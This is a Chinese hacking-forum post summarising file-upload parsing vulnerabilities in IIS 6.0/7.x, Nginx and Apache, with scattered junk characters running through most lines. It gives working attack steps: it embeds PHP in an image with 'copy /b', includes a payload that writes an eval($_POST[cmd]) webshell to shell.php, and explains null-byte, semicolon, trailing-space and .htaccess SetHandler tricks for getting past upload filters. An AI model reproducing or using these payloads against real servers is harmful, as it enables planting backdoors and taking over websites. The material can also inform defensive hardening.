找回密码
 立即注册
查看: 3437|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain, D+ l/ q4 t, e  I
[+]IIS6.0; F7 H2 f7 d0 ^+ m7 V' z
* _& v) |. ?" F, h+ Q7 V' ?2 {
目录解析:/xx.asp/xx.jpg   L( M3 p  w& y7 [) G; O5 |
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码2 H6 T9 z8 u9 a  c  y" N
IIS6.0 会将 xx.jpg 解析为 asp 文件。
& N) b: i+ E- q& c- W5 ^$ }% m- ]后缀解析:/xx.asp;.jpg     * [( I9 P6 N" f% J
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。  C" S. ^6 [1 }, K7 _, w
默认解析:/xx.asa
1 \; }* n# h3 N7 K+ C6 |: p         /xx.cer
$ r7 ?- Z7 M  R: ~* \# }         /xx.cdx
: `- s& C1 w7 D# B& F( _ IIS6.0 默认的可执行文件除了 asp 还包含这三种
# H0 C( C" o( S! ^ 此处可联系利用目录解析漏洞 . x- u& j  v- Z- @, T, C! E7 `
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
& d/ s" M$ F: R3 V[+]IIS 7.0/IIS 7.5/Nginx <0.8.03; @" B; F! ?. d5 g
; K# c* L0 z" z% R; F. r3 L6 K
IIS 7.0/IIS 7.5/Nginx <0.8.03! H& I; G3 g. s9 k( E
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面, D2 e- y6 {2 C& d1 D+ p
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
. l# g; l& y" F, G. J$ c6 O( j 常用利用方法:3 ]$ |% C7 u  f+ y/ R% G% @# b2 q* X! K; L
将一张图和一个写入后门代码的文本文件合并将恶意文本+ I, |3 `" m6 F$ s$ V0 G
写入图片的二进制代码之后,避免破坏图片文件头和尾
4 H5 a) d  [3 I9 @ 如:! f1 D- W( ?2 O5 I8 `
copy xx.jpg /b + yy.txt/a xy.jpg
1 U5 A. u9 K, o #########################################################* x  m( c1 B5 O/ ?9 F% p
/b 即二进制[binary]模式( |9 W0 b5 l8 R4 |6 q  \1 j: P+ @
/a 即ascii模式& ~) y, h' _9 I% v
xx.jpg 正常图片文件
9 k0 {5 k. O6 |9 ~- p$ m yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
" L& q" u) L5 D. f3 | '<?php eval($_POST[cmd])?>');?>
: r6 i6 N* |' i3 T- E 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
1 E3 W) M* j) P, S 为shell.php的文件
* p  b" b  p4 h/ C# s9 y7 B5 j ###########################################################
1 I) r/ ]. b* N- S) l  s 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ( R/ n3 L0 n3 d5 `# m9 X) N% a
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php $ i1 V) L# ^4 U  w( I1 |, p6 H
密码 cmd
! d' @) W# I$ _  S[+]Nginx <0.8.03# ]. i" Y9 u" c4 X7 @$ v. H
5 u# S! s# t5 K
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞# i1 h) N. T+ M% k% |
在一个文件路径(/xx.jpg)后面加上%00.php8 _% J" f" l; D) o
会将 /xx.jpg%00.php 解析为 php 文件。
7 ~9 L' C! `( l5 U[+]Apache<0.8.039 u, J% K3 b7 S

4 d& X/ @7 ?5 W1 k- J% J 后缀解析:test.php.x1.x2.x3& I' q7 C9 j4 c" C, G2 [* f  |  I
Apache将从右至左开始判断后缀,若x3非可识别后缀,
, l+ K) T! [, j( m% y% U" F/ ^% M7 O 再判断x2,直到找到可识别后缀为止,然后将该可识别' N) C8 |+ y( u$ E6 Q) @
后缀进解析test.php.x1.x2.x3 则会被解析为php
* M; K. p# y% V 经验之谈:php|php3|phtml 多可被Apache解析。
5 V6 U7 B- w, P. b- e' `  B0 P! m[+]其他一些可利用的8 |4 n" J$ Z! K5 |6 o' J, [
. U7 o3 s6 B4 T6 {
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
' f* K8 `- Y$ |8 P若这样命名,windows会默认除去空格或点,这也是可以被利用的!& x. _, D% r9 @1 B! G0 P
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
2 `1 z8 y) r( A' V' f( o. u) ?2 q或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可5 A  d1 B: C* x' D
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。; o( u4 H' ?! c! j; ^
{Linux主机中不行,Linux允许这类文件存在}
; L3 R2 k& F) }. o" P2 e3 A如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
- N$ B6 p' \! s; d的,当初我并不知道),且可以被上传,那可以尝试在
& `8 p' k! B! }. T# P.htaccess中写入:
" v0 _# |, g' S' v) C9 c0 J* O<FilesMatch “shell.jpg”> , j9 ?, x* W- W% J$ \
SetHandler application/x-httpd-php % W8 C  e/ W" {) b. m! |  K$ s( u
</FilesMatch>
; d' H' s6 J' g1 S' T# t, d) |% fshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
( J( `: e3 A/ K! |7 ~9 \/ E, Q& R0 d[+]错误修改
: O1 q- i7 Q. L$ t
; a5 y! p# m. G7 H# {- W% Q在 IIS 6.0 下可解析 /xx.asp:.jpg( B+ ^" N; u; R: A& b+ I' l
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
1 G3 E& X/ L1 {+ t/ E剩下/xx.asp}修改:) ^: {6 l2 e7 d( c' w
先谢谢核攻击的提醒6 S2 q6 ~+ x: M; O! n. X" l) l1 z2 R  h
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp& q0 \2 |; M2 S" \5 V
里是没有任何内容的,因为。。不好解释 大家自己看
- j5 }3 D$ Q) F, a! `8 {http://lcx.cc/?i=2448
4 K, R( M# w$ i0 Vhttp://baike.baidu.com/view/3619593.htm' u7 g$ D8 h3 R# ?7 q
5 M" l& H; Z' ?6 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表